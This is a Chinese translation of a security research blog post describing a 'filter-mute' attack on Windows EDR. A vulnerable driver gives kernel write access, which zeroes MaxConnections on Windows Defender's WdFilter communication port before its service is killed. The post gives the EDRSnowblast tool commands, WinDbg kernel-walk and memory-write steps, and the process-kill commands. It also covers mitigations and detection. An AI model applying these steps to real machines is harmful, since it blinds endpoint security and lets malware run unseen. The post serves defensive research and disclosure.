原文标题:Filter-Mute Operation: Investigating EDR Internal Communication 原文链接:https://sensepost.com/blog/2023/filter-mute-operation-investigating-edr-internal-communication/
目录 对于我们在2023年举办的年度内部黑客大会SenseCon,我决定研究一下Windows驱动程序与其用户模式进程之间的通信。以下是这个过程的一些细节。
简介
攻击者可以利用Windows内核的读/写漏洞原语来避免EDR_Driver.sys与其EDR_process.exe之间的通信。结果是,一些EDR检测机制将被禁用,使其(部分地)对恶意有效负载变得盲目。本博文描述了一种替代方法,该方法不移除内核回调,并提供了一些建议,以防止这种“过滤-静音”攻击。
EDR_Process.exe和EDR_Driver.sys角色概述
首先要弄清楚的问题是,EDR应用程序(EDR_Process.exe)如何与其EDR驱动程序(EDR_Driver.sys)进行通信?
在进行研究之前,我们必须了解一些EDR的基础知识;EDR代理程序在进程创建期间如何进行钩子/注入自己的DLL?
来自Christopher Vella的EDR观察 中采用的回调注入 模式是一个很好的总结。 我对正在发生的事情添加了一些注释:
EDR_Driver.sys可以订阅多种类型的内核通知。你可以将这些通知想象成你在互联网上订阅并通过电子邮件从网站收到的“新闻通讯”。例如,EDR_Driver.sys可以使用名为PsSetCreateProcessNotifyRoutine
的Windows API订阅“新进程创建”通知服务,然后对系统创建的每个进程,驱动程序将接收到有关该进程的信息(父进程ID、命令行等)。
用户双击运行malware.exe。
Windows调用CreateProcessW API将malware.exe加载到内存中。
EDR_Driver.sys收到一个通知,表示malware.exe将被生成。
EDR_Driver.sys向EDR_Process.exe发送日志,告知“嘿!一个名为malware.exe的新进程即将启动。”
EDR_Process.exe可以选择采取行动(或不采取行动):“好的,我将通过在ntdll.dll中创建钩子来监控这个进程。”
当malware.exe运行时,它调用Windows API。通过已经放置的钩子,EDR_Process.exe知道哪些API被调用,并可以推断出malware.exe正在做什么。
我们可以以ired.team 网站上的一段代码作为malware.exe的示例。 一旦钩子放置好,EDR代理程序(EDR_Process.exe)就可以监视/分析malware.exe。以下是它可能采取的一些行动示例:
EDR_Process.exe看到malware.exe调用了以下Windows API:
OpenProcess
VirtualAllocEx
WriteProcessMemory
CreateRemoteThread
EDR_Process.exe将这个API调用序列分类为"恶意"并阻止(终止)该进程。
EDR_Process.exe向EDR_C2(安全控制台)发送日志,内容为"嘿,malware.exe进程已生成并被分类为恶意"。
注意:这是一种常见的EDR流程,并非唯一的工作方式,例如EDR_Process.exe可能只发送遥测数据,让EDR_C2决定是否恶意以及应采取的行动(阻止与否)。
如果EDR供应商或安全团队操作员(也称为蓝队)在EDR安全控制台中配置了"如果恶意则阻止"的规则,那么malware.exe进程将被EDR_Process.exe(或EDR_Driver.sys)终止。还有其他的应对措施,例如:
可以将Windows主机从网络中远程隔离
可以下载malware.exe文件或内存转储进行分析/逆向
安全分析师可以从安全控制台上对Windows主机运行命令,以进行调查 ...
这一点非常重要;蓝队越有经验地创建自定义规则,攻击者越难以逃避或在网络中横向移动而不被发现!
现在,在深入研究内部通信之前,我想先退后一步,简化EDR的行为。EDR_Process.exe的内部通信(蓝色箭头)和外部通信(黄色箭头)可以用简单的概述进行可视化: 深入研究EDR的内部通信 从Windows内核内存空间,EDR_Driver.sys可以使用多个Windows内核API(回调)来监视并阻止恶意系统活动。例如,API PsSetCreateProcessNotifyRoutine例程可以通过内核回调机制生成以下"监控日志"消息:
日志 = 新进程创建(PID 5376),命令行为C:\notepad.exe
从用户模式内存空间,EDR_Process.exe可以向驱动程序发送行动请求并从中接收信息。例如,来自EDR安全控制台的"行动请求"可能是:
在下面的图中,我试图绘制用于监视目的的常见Windows内核回调。 在总结这一点之后,一个问题浮现在脑海中,即如何避免EDR_Process.exe与EDR_Driver.sys之间的通信?
使用已知技术来遮蔽EDR
最常见的遮蔽EDR传感器的技术包括:
移除DLL钩子(用户空间)
移除内核回调(内核空间)
由于我们只关注EDR的内核部分,下面是移除内核回调时会发生的情况的可视化示意图: 在将EDR回调地址清零之前: 在将EDR回调地址清零之后: 我们不会详细讨论这个话题,这在Zach Stein的博文《在Windows上遮蔽EDR》 中有所涵盖。
但是你可能会注意到在下面的图中,每当你将EDR回调地址清零时,这意味着Windows将不再向EDR_Driver.sys发送任何通知(没有"新闻通讯")。最终,将不再向EDR_Process.exe(和安全分析师控制台)发送任何事件日志!
使用另一种方法来遮蔽EDR
在研究这个话题时,我想知道如何在不进行任何回调修改的情况下避免EDR_Process.exe和EDR_Driver.sys之间的通信?我们能否阻止EDR_Process.exe和EDR_Driver.sys之间的"消息"交换?
正如我之前所说,我们希望保持在内核层面上进行讨论。我们可以想象使用这个图形表示的另一种方法: 当我尝试使用Windbg进行调查时,Yarden Shafir撰写了一篇关于调查过滤器通信端口 的绝妙博文,对此我受益匪浅。在应用程序和驱动程序之间的通信设置过程中,我发现了一些被操纵的Windows数据结构。
名为FLT_SERVER_PORT_OBJECT
的数据结构引起了我的注意,因为它似乎包含了一些有趣的字段,看看你是否同意: 当我看到这个时,脑海中首先浮现的问题是,如果将MaxConnections设置为零,会发生什么情况?
该数据结构使用名为FltCreateCommunicationPort
的Windows驱动程序API进行初始化:
1
2
3
4
5
6
7
8
9
10
NTSTATUS FLTAPI FltCreateCommunicationPort(
[
in
] PFLT_FILTER
Filter
,
[out] PFLT_PORT
*
ServerPort,
[
in
] POBJECT_ATTRIBUTES ObjectAttributes,
[
in
, optional] PVOID ServerPortCookie,
[
in
] PFLT_CONNECT_NOTIFY ConnectNotifyCallback,
[
in
] PFLT_DISCONNECT_NOTIFY DisconnectNotifyCallback,
[
in
, optional] PFLT_MESSAGE_NOTIFY MessageNotifyCallback,
[
in
]
LONG
MaxConnections
);
根据Microsoft的文档 ,提供了以下信息: 我们可以得出什么结论呢?如果我们能够将MaxConnections重置为零,那么它只会阻止新的连接发生。让我们来制定以下攻击计划:
步骤1:重置MaxConnections的值 步骤2:强制EDR_Process.exe重新启动(可能需要高权限,例如NT SYSTEM) 步骤3:观察EDR的行为
步骤1:重置MaxConnections的值
这一步的首要条件是我们必须具备一个内核模式的读/写原语,以便我们可以将该值设置为0。我们将使用BYOVD(Bring Your Own Vulnerable Driver)技术来实现此目的。作为第二个前提条件,我们必须找到内核内存中MaxConnections字段的地址,对吧?让我们看看如何获取这个地址!
我们之前讨论过的fltmgr!_FLT_SERVER_PORT_OBJECT
结构可以通过fltmgr!_FLT_FILTER
结构访问,而后者可以通过fltmgr!_FLTP_FRAME
结构访问,而后者可以通过FLTMGR!_GLOBALS
结构访问,而后者可以通过FltMgr.sys
驱动程序访问。可以使用NtQuerySystemInformation
Windows API从用户空间获取此内核模块的基地址。
我同意Alex Ionescu的说法:“我有99个问题,但内核指针不是其中之一 ” :-)。通过遍历Windows内核数据结构,从FltMgr.sys驱动程序开始直到该字段,我们可以找到MaxConnections的地址! 这段内容对于博文的中间部分来说有点长,但如果你感兴趣并想知道如何使用Windbg来完成这个过程,请查看末尾的“额外步骤”部分:“内核遍历,10个步骤获取对MaxConnections的访问权限 ”。 以下是查看Windows Defender内核驱动程序详细信息时的情况: 有了MaxConnections内存位置的信息,我们可以使用内核模式的读取原语获取当前值,并使用内核模式的写入原语将该值设置为0。
步骤2:强制EDR重新启动
此阶段可能会很困难,因为EDR_Process.exe会尽其所能保护自己。通常,该程序作为一个服务启动,并且在其终止后会重新启动,但我们不关心这一点,因为由于第1步,EDR_Driver.sys不允许任何连接 ;-)
个人而言,我使用自己的工具(未签名的恶意驱动程序)来执行此操作,该工具允许我们终止受保护的进程,但也可以使用Process Hacker(如果未列入拒绝列表),或者更好的是任何可利用的“进程终止驱动程序”。我强烈推荐阅读Alice Climent-Pommeret(@AliceCliment )的博文《用LOL找到并利用进程终止驱动程序,只需3000美元》 涵盖了这个主题!
步骤3:观察EDR行为
让我们创建一个恶意软件(代码基础可在ired.team 上找到),命名为iwanttobeflag.exe,它将触发Windows Defender的警报: 然后,我们可以通过将恶意载荷从共享目录复制到本地磁盘来测试对恶意软件的默认反应。这将引发一个警报,并且如预期一样被Windows Defender阻止:太棒了!
1
copy z:\iwanttobeflag.exe c:\
现在,我们有了一个通常会引发警报的内容,我们可以用来测试我们的技术是否屏蔽了EDR。通过这样做,我们可以测试我们的“禁音技术”是否有效。
执行计划
让我们将所有这些整合到一个工具中,并测试我们的第1步和第2步是否可以干扰第3步引起的警报。
我非常喜欢Thomas DIOT(Qazeer )和Maxime MEIGNAN(@th3m4ks )制作的EDRSandblast 工具,它真的很棒。我提了一个拉取请求 /问题 ,但我不知道这个项目是否得到维护。这促使我开始了自己的项目,名为EDRSnowblast,以实现这种“minifilter驱动程序静音技术”。有关该项目的更多详细信息,请访问https://v1k1ngfr.github.io/edrsnowblast/ 。
让我们在实际计算机上按步骤进行操作,看看会发生什么!
枚举加载到内核内存中的驱动程序(过滤器),并在下图中的索引9处识别Windows Defender的WdFilter。
1
EDRSnowblast.exe
filter
-
enum
-
-
kernelmode
2. 获取有关WdFilter过滤器的详细信息:例如MaxConnections和NumberOfConnections。
1
EDRSnowblast.exe
filter
-
enum
-
-
kernelmode
-
-
filter
-
index
9
3. 将 WdFilter 静音:将 MaxConnections 设置为零。
1
EDRSnowblast.exe
filter
-
mute
-
-
kernelmode
-
-
filter
-
index
9
4.(可选)使用之前看到的 --filter-enum
选项验证 MaxConnections
值。 5.识别 Windows Defender 用户模式进程的 PID 并终止它。
1
2
3
tasklist | findstr MsMpEng.exe
MsMpEng.exe 2956 Services 0 206,788 K
c:\pimpmypid_clt.exe
/kill
2956
6.复制我们在步骤3中创建的恶意载荷并执行。
1
2
copy z:\iwanttobeflag.exe c:\
c:\iwanttobeflag.exe
7.为我们的成功而欢欣鼓舞。 如果您愿意,您可以观看以下的实时演示视频。https://youtu.be/PakPq-83IEE 这种技术已经成功地对Windows Defender和其他两个EDR供应商进行了测试。
如何保护/检测?
我们必须首先问一下“filter-mute”预备条件是什么?
您必须使用Windows内核R/W漏洞利用原语-如果要使用BYOVD(自带易受攻击的驱动程序),您必须具备SeLoadDriverPrivilege
权限,用于加载/卸载驱动程序(例如本地管理员、域管理员、域打印操作员)
您必须能够终止(或重新启动)EDR用户模式应用程序
现在我们可以想知道Windows用户是否能够保护自己?是的,一些缓解措施是存在的。以下是一些建议:
应用Windows补丁:它可以消除Windows内核和驱动程序中的漏洞
使用Microsoft VBS(启用HVCI):正如您可能已经注意到的,攻击使用的向量是BYOVD。这个向量已经存在很长时间,Microsoft通过在Windows 10、Windows 11、Windows Server 2016和以后的版本中提供的基于虚拟化的安全(VBS)功能来应对这个问题做得非常好。有关VBS的更多详细信息,请参阅Microsoft文档:基于虚拟化的安全(VBS)
使用Microsoft推荐的驱动程序阻止规则,可以在此处 找到
使用Sysmon或Sigma规则:www.loldrivers.io 上提供了一个巨大的已知易受攻击的驱动程序列表,该项目提供了这些规则
另一个问题是:EDR供应商能够保护他们的驱动程序免受这种攻击吗?是的,他们可以!
最快的解决方案可能是将已知易受攻击的驱动程序列入拒绝列表,以防止它们被加载。但是,这种方法与防病毒软件签名具有相同的局限性;未知的易受攻击的驱动程序将不会被阻止。 开发人员可以实施更好的保护措施:
始终验证EDR_process.exe能否连接到EDR_driver.sys通信端口。以下是一个可能实现此功能的代码示例:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
HANDLE
hPort;
HRESULT
hr = ::FilterConnectCommunicationPort(L
"\\secureEDR"
, 0, nullptr, 0, nullptr, &hPort);
if
(FAILED(hr)) {
printf
(
"Error connecting to EDR_driver.sys ! (HR=0x%08X)\n"
, hr);
if
(hr == 0x800704D6) {
printf
(
"ERROR_CONNECTION_COUNT_LIMIT : A connection to the server could not be made because the limit on the number of concurrent connections for this account has been reached.\n"
);
}
}
Static KDP(静态内核模式保护):EDR驱动程序应调用MmProtectDriverSection API来保护其映像的一部分。
Dynamic KDP(动态内核模式保护):允许驱动程序使用由安全池提供的服务来分配和初始化只读内存,安全池由安全内核管理,使用ExAllocatePool3 API。
有关KDP的更多详细信息,请参考Andrea Allievi的文章:Introducing Kernel Data Protection 。
资源和致谢
在这个过程中,我想给您提供最相关的资源,并感谢那些帮助这项研究更加顺利的人。
感谢您与社区分享知识!
额外的努力:“内核遍历,获取MaxConnections的10个步骤”
好吧,您很好奇,这种黑客精神很棒!想知道如何获取MaxConnections值吗?下面的方法展示了如何使用Windbg获取名为bindflt.sys的驱动程序的MaxConnections值。作为提醒/帮助,请查看下面的徒步旅行地图。 第0步 - 确定入口点
起点是名为FLTMGR!FltGlobals的结构。您可以直接获取地址:
但是,如果您需要使用内存泄漏来检索此地址,以下路径非常有效:
获取FltEnumerateFilters函数的偏移量,并在该函数中获取lea rcx, [FLTMGR!FltGlobals+0x58]指令的偏移量
1
u FLTMGR!FltEnumerateFilters L15
计算FLTMGR!FltGlobals的起始地址:0xfffff8061ea8b600
1
? fffff806`
1ea8b658
-
0x58
这样就可以计算出FLTMGR!FltGlobals的起始地址。 第1步 - 计算存储在FLTMGR!FltGlobals中的FrameList字段地址:0xfffff8061ea8b6c0
1
kd> ? fffff806`
1ea8b600
+
0x58
+
0x68
第2步 - 使用指针间接引用并获取FLTMGR!_FLTP_FRAME中第一个帧(Links字段)的地址:0xffffca0c38c61058
1
kd> ? poi(fffff806`
1ea8b6c0
)
第3步 - 计算第一个帧的起始地址:0xffffca0c38c61050
1
kd> ? ffffca0c`
38c61058
-
0x008
第4步 - 计算过滤器列表的地址:0xffffca0c38c61100
1
kd> ? ffffca0c`
38c61050
+
0x48
+
0x68
+
0x000
第5步 - 使用指针间接引用并获取第一个过滤器的地址(PrimaryLink字段):0xffffca0c386e8020
1
kd> ? poi(ffffca0c`
38c61100
)
第6步 - 计算第一个过滤器的地址(FLTMGR!_FLT_FILTER的基址):0xffffca0c386e8010
1
kd> ? ffffca0c`
386e8020
-
0x010
好的,很好。我们可以使用Windbg过滤器内核调试器(fltkd)命令来验证和可视化我们所在的位置,该命令名为frames: 第7步 - 计算服务器端口列表的地址:0xffffca0c386e8250
1
kd> ? ffffca0c`
386e8010
+
0x208
+
0x038
+
0x000
第8步 - 使用指针间接引用并获取第一个服务器端口对象的地址(FLTMGR!_FLT_SERVER_PORT_OBJECT的FilterLink地址):0xffffca0c3eaf73f0
1
kd> ? poi(ffffca0c`
386e8250
)
第9步 - 计算MaxConnections字段的地址:0xffffca0c3eaf7430
1
kd> ? ffffca0c`
3eaf73f0
+
0x040
第10步 - 使用指针间接引用并获取MaxConnections的值:1000
1
kd> .formats poi(ffffca0c`
3eaf7430
)
或者
1
kd> dt _FLT_SERVER_PORT_OBJECT ffffca0c`
3eaf73f0
最后!您成功了! 最后的步骤 - 将MaxConnections的值设置为零并终止EDR_Process.exe进程
1
kd> eq
0xffffca0c3eaf7430
0
然后
1
2
3
4
kd> !process
0
0
MsMpEng.exe
PROCESS ffffa40a23a5f340
kd> .kill ffffa40a23a5f340
由于对我来说,在内核内存中可视化自己所处的位置、数据结构的字段、数据结构之间的链接、应该使用的偏移量等等,这真是一场噩梦。因此,我制作了下面的地图(还包括Windbg命令)。 也许(就像我一样),您想知道那些用于计算的值是什么:是的,那些是偏移量。
偏移量可能会在Windows更新后发生变化,个人我使用了EDRSandblast的ExtractOffsets.py脚本的自定义版本(在EDRSnowblast中可用)。下面显示了输出示例。 因为我们知道方法和偏移量,我们可以自动化这个过程!PoC或者GTFO,可以在EDRSnowblast 中找到执行此操作的代码。
祝您愉快的黑客之旅!
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法